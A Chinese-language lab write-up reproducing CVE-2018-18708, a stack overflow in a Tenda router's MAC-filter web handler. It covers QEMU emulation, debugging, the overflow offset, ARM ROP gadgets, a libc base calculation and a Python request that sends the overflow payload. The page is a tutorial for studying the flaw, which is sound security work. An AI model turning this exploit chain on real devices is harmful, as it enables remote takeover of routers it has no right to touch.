栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
字数 1261 2025-08-29 22:41:24

CVE-2018-18708漏洞复现与挖掘技术详解

1. 漏洞概述

CVE-2018-18708是Tenda路由器中的一个栈溢出漏洞,存在于setMacFilterCfg接口的deviceList参数处理过程中。攻击者可以通过构造特殊的HTTP请求触发该漏洞,最终可能导致远程代码执行。

2. 环境准备

2.1 工具安装

# 基础工具
apt-get install bridge-utils uml-utilities qemu-user-static

# 调试工具
git clone https://github.com/hugsy/gdb-static  # 获取gdbserver

2.2 固件获取与解压

固件和PoC可从GitHub获取:

https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333

使用binwalk解压固件:

binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

2.3 文件系统准备

进入解压后的核心文件夹:

cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root

3. 调试环境搭建

3.1 QEMU用户级调试

  1. 复制qemu-arm-static到文件系统:
cp $(which qemu-arm-static) .
  1. 网络配置:
./net.sh
  1. 手动创建必要目录:
mkdir -p /var/run /var/lock

3.2 QEMU系统级调试

  1. 打包文件系统:
mksquashfs squashfs-root rootfs.img -comp xz -all-root
  1. 启动QEMU:
./boot.sh
  1. 配置网络:
ifconfig eth0 192.168.1.100 netmask 255.255.255.0

4. 漏洞分析

4.1 漏洞定位

  1. 关键函数调用链:
formSetMacFilterCfg -> sub_C14DC -> sub_C17A0 -> sub_C24C0
  1. 漏洞触发点:
strcpy(src_1 + 32, s);  // 栈溢出点

4.2 漏洞条件

  • 参数中必须包含\r字符(ASCII 13)
  • macFilterType必须为"black"或"white"
  • deviceList参数长度超过176字节

5. 漏洞利用

5.1 偏移量计算

通过调试确认:

  • 缓冲区大小为176字节(0xB0)
  • PC寄存器偏移量为176

5.2 ROP链构造

5.2.1 关键Gadget

  1. 控制R3和PC:
0x00018298 : pop {r3, pc}
  1. 控制R0:
0x00040cb8 : mov r0, sp ; blx r3

5.2.2 libc基址计算

  1. 获取运行时puts地址:0x3fdd1cd4
  2. IDA中puts偏移量:0x35CD4
  3. libc基址计算:
libc_base = runtime_puts - ida_puts_offset
          = 0x3fdd1cd4 - 0x35cd4 
          = 0x3fd9c000

5.2.3 system地址计算

  1. 获取system在libc中的偏移量
  2. 计算运行时地址:
system_addr = libc_base + system_offset

5.3 Payload结构

最终payload格式:

[offset, gadget1, system_addr, gadget2, cmd]

执行流程:

  1. 覆盖返回地址为gadget1地址
  2. gadget1弹出system_addr到r3
  3. gadget2将栈顶地址(cmd)赋给r0
  4. 执行system(cmd)

6. 漏洞复现步骤

6.1 准备工作

  1. 修补httpd程序:
rasm2 "mov r3, #1"  # 生成机器码
# 使用IDA Patch Program功能修改二进制
  1. 启动httpd服务:
chroot . ./qemu-arm-static ./bin/httpd

6.2 调试设置

  1. 启动gdbserver:
./gdbserver :1234 ./bin/httpd
  1. 宿主机连接:
gdb-multiarch -ex "target remote :1234"

6.3 触发漏洞

发送构造的HTTP请求:

import requests

url = "http://target_ip/goform/setMacFilterCfg"
data = {
    "macFilterType": "black",
    "deviceList": "\r" + "A"*176 + payload
}
requests.post(url, data=data)

7. 注意事项

  1. ARM架构的CPSR寄存器T位处理:

    • Thumb模式地址需要+1
    • 检查system函数是否处于Thumb模式
  2. 网络配置问题:

    • 确保br0网卡已创建
    • QEMU系统级调试需要手动配置网络
  3. 调试技巧:

    • 在strcpy函数处设置断点
    • 使用pwndbg进行更方便的调试

8. 参考资源

  1. 漏洞分析文章:

    • https://blog.xmcve.com/2022/10/08/CVE-2018-18708-漏洞复现/
    • https://blog.csdn.net/m0_55368674/article/details/128939608
  2. 工具链接:

    • https://github.com/hugsy/gdb-static
    • https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
CVE-2018-18708漏洞复现与挖掘技术详解 1. 漏洞概述 CVE-2018-18708是Tenda路由器中的一个栈溢出漏洞,存在于 setMacFilterCfg 接口的 deviceList 参数处理过程中。攻击者可以通过构造特殊的HTTP请求触发该漏洞,最终可能导致远程代码执行。 2. 环境准备 2.1 工具安装 2.2 固件获取与解压 固件和PoC可从GitHub获取: 使用binwalk解压固件: 2.3 文件系统准备 进入解压后的核心文件夹: 3. 调试环境搭建 3.1 QEMU用户级调试 复制qemu-arm-static到文件系统: 网络配置: 手动创建必要目录: 3.2 QEMU系统级调试 打包文件系统: 启动QEMU: 配置网络: 4. 漏洞分析 4.1 漏洞定位 关键函数调用链: 漏洞触发点: 4.2 漏洞条件 参数中必须包含 \r 字符(ASCII 13) macFilterType 必须为"black"或"white" deviceList 参数长度超过176字节 5. 漏洞利用 5.1 偏移量计算 通过调试确认: 缓冲区大小为176字节(0xB0) PC寄存器偏移量为176 5.2 ROP链构造 5.2.1 关键Gadget 控制R3和PC: 控制R0: 5.2.2 libc基址计算 获取运行时puts地址: 0x3fdd1cd4 IDA中puts偏移量: 0x35CD4 libc基址计算: 5.2.3 system地址计算 获取system在libc中的偏移量 计算运行时地址: 5.3 Payload结构 最终payload格式: 执行流程: 覆盖返回地址为gadget1地址 gadget1弹出system_ addr到r3 gadget2将栈顶地址(cmd)赋给r0 执行system(cmd) 6. 漏洞复现步骤 6.1 准备工作 修补httpd程序: 启动httpd服务: 6.2 调试设置 启动gdbserver: 宿主机连接: 6.3 触发漏洞 发送构造的HTTP请求: 7. 注意事项 ARM架构的CPSR寄存器T位处理: Thumb模式地址需要+1 检查system函数是否处于Thumb模式 网络配置问题: 确保br0网卡已创建 QEMU系统级调试需要手动配置网络 调试技巧: 在strcpy函数处设置断点 使用pwndbg进行更方便的调试 8. 参考资源 漏洞分析文章: https://blog.xmcve.com/2022/10/08/CVE-2018-18708-漏洞复现/ https://blog.csdn.net/m0_ 55368674/article/details/128939608 工具链接: https://github.com/hugsy/gdb-static https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_ CVE-2018-16333